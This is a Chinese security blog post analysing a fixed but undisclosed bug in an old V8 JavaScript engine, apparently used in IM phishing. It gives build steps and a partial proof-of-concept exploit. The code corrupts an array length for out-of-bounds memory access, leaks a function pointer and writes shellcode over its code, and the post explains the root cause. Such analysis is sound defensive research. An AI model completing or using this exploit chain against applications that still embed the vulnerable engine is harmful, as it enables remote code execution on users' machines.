Watch & Learn

Debugwar Blog

To be or not to be, this is a problem ...

V8老版本未公开漏洞分析

2021-04-20 09:28:45

前言

 
近期大型互联网活动期间,作为苦逼的蓝队,“意外”截获到了一个通过某IM“0day”钓鱼的攻击事件。正好趁着五一假期闲来无事,在酒店写下近期研究这个0day的心得,不对的地方还请各位大佬斧正。

其实这个并不是IM的“0day”,更准确地说是此IM使用的V8引擎的“0day”。各位看官可能注意到我在0day上加了引号,这是因为此“0day”属于老版本v8引擎的未公开已修复漏洞,所以凡是使用老版本v8引擎的应用均会受到此漏洞的影响。笔者初步看了一下,似乎在用这个老引擎且有影响力的应用还不少……

本文仅用于研究目的,不会公布poc的完整代码。

调试环境构建

网上如何编译V8的文章已经烂大街了,为何还要在这里啰嗦这个事情呢?因为上文章提到够了,这个洞是老版本V8才有的,而当时的版本还没有引入ninjia等编译工具(老版本使用make工具编译),因此需要在此说明一下调试环境的构建过程。

对了,还要强调一下这个洞使用debug版本的d8是无法复现的(似乎是因为递归限制的原因),必须使用release版本,而release版本是没有调试符号的,因此job等命令是无法使用的T^T……最后看了一下Makefile发现google的大佬们还是给了条活路……

为了尽量减少环境差异带来的编译问题,此处使用docker构建编译环境。如果你的环境不一样,那么可能会出现各种各个样奇葩的编译问题。比如我的一个同事就提示找不到v8引擎third_party目录下的一些头文件,然后从新git clone了一遍代码这个错误又神奇的消失了…………

好了,废话不多说,下面开始敲命令,首先是启动docker容器:

  1. docker pull centos:8  
  2. docker run --name v8 -w /root -it centos:8 bash  
这样你会得到一个名为v8的容器,接下来进入容器开始真正的构建调试环境:

  1. docker exec -it v8 bash  
  2. yum groupinstall "Development Tools"    
  3. yum install -y git gdb bzip2 curl glibc-devel.i686 libc++-devel.i686  
  4. git clone https://github.com/v8/v8  
  5. cd v8  
  6. git checkout 5.3.332.45  
  7. make -j4 ia32.release disassembler=on objectprint=on verifyheap=on backtrace=on debugsymbols=on  
存在漏洞的v8版本有个tag,也就是上面第6行checkout出的分支。同事还需要注意下第七行的编译命令,一定要用上面的命令编译,不然可能无法编复现或调试此漏洞。
 
 

漏洞POC(部分)

这里仅给出比较重要的poc部分,后续分析均基于这部分:

  1. var g_array;  
  2.   
  3. function cb(flag) {  
  4.     if (flag == true) {  
  5.         return;  
  6.     }  
  7.     g_array = new Array(0);  
  8.     g_array[0] = 0x1dbabe * 2;  
  9.     return 'c01db33f';  
  10. }  
  11. function oobAccess() {  
  12.     var this_ = this;  
  13.     this.buffer = null;  
  14.     this.page_buffer = null;  
  15.     this.buffer_view = null;  
  16.     class LeakArrayBuffer extends ArrayBuffer {  
  17.         constructor() {  
  18.             super(0x1000);  
  19.             this.slot = this;  
  20.         }  
  21.     }  
  22.     class DerivedBase extends RegExp {  
  23.         constructor() {  
  24.             super(  
  25.                 // at this point, the 4-byte allocation for the JSRegExp `this` object  
  26.                 // has just happened.  
  27.                 {  
  28.                     toString: cb  
  29.                 }, 'g'  
  30.                 // now the runtime JSRegExp constructor is called, corrupting the  
  31.                 // JSArray.  
  32.             );  
  33.   
  34.             // this allocation will now directly follow the FixedArray allocation  
  35.             // made for `this.data`, which is where `array.elements` points to.  
  36.             this_.buffer = new ArrayBuffer(0x80);  
  37.             g_array[8] = this_.page_buffer;  
  38.   
  39.             print("g_array");  
  40.             %DebugPrint(g_array);        
  41.             print("this_.buffer");  
  42.             %DebugPrint(this_.buffer);        
  43.             print("this_.page_buffer");  
  44.             %DebugPrint(this_.page_buffer);        
  45.             %SystemBreak();               
  46.         }  
  47.     }  
  48.     this.buffer_view = new DataView(this.buffer);  
  49.     this.leakPtr = function (obj) {  
  50.         this.page_buffer.slot = obj;  
  51.         return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt);  
  52.     }  
  53. }  
  54.   
  55. var oob = oobAccess();  
  56. var func_ptr = oob.leakPtr(target_function);  
  57. print('[*] target_function at 0x' + func_ptr.toString(16));  
  58. var kCodeInsOffset = 0x1b;  
  59. var code_addr = oob.read32(func_ptr + kCodeInsOffset);  
  60. print('[*] code_addr at 0x' + code_addr.toString(16));  
  61. %SystemBreak();               
  62. oob.setBytes(code_addr, shellcode);  
  63. //target_function(0);  
再次强调,上述为主要代码,但是仅仅使用上述代码是无法成功触发漏洞的 ;)

漏洞成因概述


还是开局一张图,这张图是漏洞触发时各个对象的内存布局,理解了这张图基本就理解了这个漏洞。我们先通过这张图来大概了解一下此漏洞的成因,细节可以参考下一节的内容。

从下图中,红色部分的g_array数组的length属性被修改成了一个超大的值(字符c01db33f)导致可以通过g_array访问后续的一块内存。

this_.buffer恰好在g_array之后被分配,因此可以通过将this_.bufferbacking_store属性修改为this_.page_buffer,从而得到一个oob的对象。在得到oob对象之后,利用此对象读写this_.page_buffer.slot对象来泄漏target_function函数的内存,最后将shellcode写到该函数内存后调用target_function获得执行权限。


详细分析

从POC中可以看到,在构造RegExp对象的过程中重载了toString函数,而g_array的初始化恰恰在RegExp的构造函数中(POC中第7行),这就造成了在内存布局上g_array与this_.buffer形成了先后的顺序关系。重启一下调试器,观察一下各个对象的状态:



又因为我们重载了RegExp对象的toString函数,因此V8的RegExp构造函数需要设置我们toString之后的正则表达式






 
Catalog
  • 前言
  • 调试环境构建
  • 漏洞POC(部分)
  • 漏洞成因概述
  • 详细分析
  • CopyRight(c) 2020 - 2025 Debugwar.com

    Designed by Hacksign